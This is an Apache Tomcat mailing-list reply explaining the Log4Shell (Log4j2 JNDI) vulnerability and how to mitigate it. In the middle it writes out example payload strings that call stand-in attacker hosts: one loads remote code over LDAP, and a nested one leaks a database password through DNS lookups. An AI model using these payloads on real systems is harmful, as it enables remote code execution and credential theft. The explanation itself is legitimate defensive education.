James,
On 12/13/21 14:48, James H. H. Lampert wrote:
On 12/13/21 10:53 AM, Mark Thomas wrote:
Log4j2 supports a log message format syntax that includes JNDI lookups.
Log4j2 processes log messages repeatedly until it doesn't find any
more format strings. This means the output of one format string can
insert a new format string.
. . .
Thanks. It's starting to make sense to me now, even given that much of
it involves Java functionality I'd never heard of.
After re-reading the Veracode article in light of what you said, I then
found a couple of Wikipedia articles that further clarify things, for me
at least:
https://en.wikipedia.org/wiki/Log4j
https://en.wikipedia.org/wiki/Log4Shell
So it's the ability to resolve stuff of the general format
"${prefix:name}" within a log string, that's the problem.
It's starting to reach a point where I can wrap my 59-year-old little
grey cells around it.
As much fun as it is to talk about this stuff, "we" (ASF volunteers, as
well as many others) tend to try not to provide examples of how to
exploit vulnerabilities. In this case, all you have to do it search
GitHub for this CVE or "log4shell" on GitHub and you can see lots of
examples.
In this case, the cat is out of the bag. I'm still not going to provide
specific examples, but I can help you understand, conceptually.
The link Mark provided in a separate response has some of the dirty
details. Without talking at that level of detail, the worst attack works
essentially like this:
1. Attacker hosts an RMI server, which is a thing that allows Java
(client) applications to remotely-load .class files from other places.
This is great in an "enterprise" environment because a service can tell
a client "here is the thing you need to work with me" instead of saying
"well, if you don't have foo-bar-1.4.5.jar loaded then you can piss
off." It's handy... and seriously dangerous if you aren't careful.
Any evildoer can do this whenever they want, there is nothing stopping
them, nor is it really that damaging to the world in general. Just like
I can brew poison in my own bathtub, if nobody is drinking from my
bathtub (ew?), it's not likely to cause too much sickness or death.
2. A vulnerability is discovered and reported in log4j. This allows log
*messages* to contain JNDI lookups. This includes attacker-controlled
things like e.g.:
log.info("FYI User " + username + " just searched for search string "
+ queryString);
Pretty innocuous, right? Well, if the search string looks like
${jndi:[stuff]} then ... boom.
3. JNDI lookups allow you to request that information be pulled-in from
an LDAP server. JNDI across the network is essentially the same thing as
LDAP (or "Active Directory" if that's what you use... AD is LDAP). One
of the things you can tell your JNDI lookup to do is load a .class file
over the network and use it for $stuff.
4. Remember that evil RMI server we set up in #1 above? Well, unless you
are filtering-out LDAP connections to random IPs (and, really, you
*should be*), then I as an attacking user can just go to your
application and search for
"Hey buddy lol ${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}"
At this point, log4j will consider this string to log:
FYI User chris just searched for the search string Hey buddy lol
${jndi:/lookup?name=ldap://my.evil.ip:port/EvilObject}
Oh, look, there's a magic "${jndi:" thing in there. Let's helpfully
resolve that...
The JNDI lookup causes your server to reach-out to my.evil.ip, pull a
reference for that class across the wire, then pull the class definition
across the wire, and run the evil class code on your server.
At this point, the resulting string written to the log does make a bit
of difference. The evil code has been loaded onto your server and you
have a Bad Day.
Now, this can be mitigated in a number of ways, which is nice. My two
favorite (and incomplete) ways to mitigate this are:
1. Don't allow outgoing LDAP connections from your server. In fact, it
doesn't matter if they are LDAP or not. Don't allow outgoing connections
from your servers except the required[1] ones.
2. Recent Java versions automatically disable remote-classloading via
LDAP to prevent this kind of monkey business. But there are ways to make
it work anyway.
This is why we can't have nice things.
RCE is bad m'kay, but let's say that you don't allow outgoing network
connections AT ALL from your server, so you are TOTALLY IMMUNE from this
kind of attack. Well, RCE ain't the only thing possible.
Data exfiltration is an often-overlooked attack that can still be pretty
bad. It's "limited" to what can be found in/through JNDI but ... it's
possible to find quite a bit of interesting information that way. How?
Those log messages aren't being sent to the attacker! How can a logging
leak give-out that kind of information?
It's a little complicated, but stick with me.
Let's say I search for this:
${jndi:/lookup?name=ldap://${jndi:/comp/env/jdbc/mydb/password}.my.evil.domain.com/}
Assuming that you store your JDBC password in your JNDI environment
(which is not uncommon), and I have guessed its path correctly, log4j
will first resolve the "inner" JNDI lookup converting the log message
to, for example:
${jndi:/lookup?name=ldap://TaylorSwiftRocks.my.evil.domain.com/}
Then it checks again to see if there are any remaining JNDI lookups to
be done. Oh, look! There's another one!
In this example, all outgoing network connections are prohibited, except
for DNS to my local, super-duper-trusted, definitely not evil or
compromised DNS resolver. Because we all need DNS. Java doesn't know,
yet, that the hostname listed there isn't local. It might resolve to
127.0.0.1, which would be fine! So it has to ask the local, trusted,
etc. DNS server "hey what's the IP for
'TaylorSwiftRocks.my.evil.domain.com'". Your local, trusted, definitely
not-compromised DNS server says "*shrug* I have to go ask the
authoritative name server for my.evil.domain.com. Hang on a sec..."
Oh, did I mention that the attacker runs the authoritative name server
for my.evil.domain.com? That's important for this story. Yeah, there's
an evil name server that gets all DNS requests for my.evil.domain.com,
and it logs everything. So when your bulletproof DNS server requests the
IP address for TaylorSwiftRocks.my.evil.domain.com, I get the following
information:
1. Your server's IP address (possibly through a proxy)
2. Your database password.
Then I can return whatever the hell I want. NXDOMAIN. A 127.0.0.1. AAAA
f00:dead:beef:1::3.. it doesn't matter. I have your IP and password.
Okay, maybe I'll never be able to connect to your database from the
outside. But maybe you have other services using that password. Maybe
you have other interesting information in JNDI. All I have to do is spam
the crap our of your server with these JNDI requests and I helpfully get
a DNS lookup for anything interesting coming back to my evil DNS
authoritative name server.
If you've never seen this kind of attack explained, it can be ...
surprising. Data exfiltration is an art, and doing it through DNS is
fine art.
-chris
[1] A colleague pointed-out to me that "you need to allow DNS, and there
is nothing stopping me from running my evil RMI server on port 53 on my
server." Fair point. Okay, what if I only allow connections to my local,
trusted DNS server?[2]
[2] Go back and read about how your trusty DNS server can be a conduit
for Bad Stuff.
---------------------------------------------------------------------
To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org
For additional commands, e-mail: users-h...@tomcat.apache.org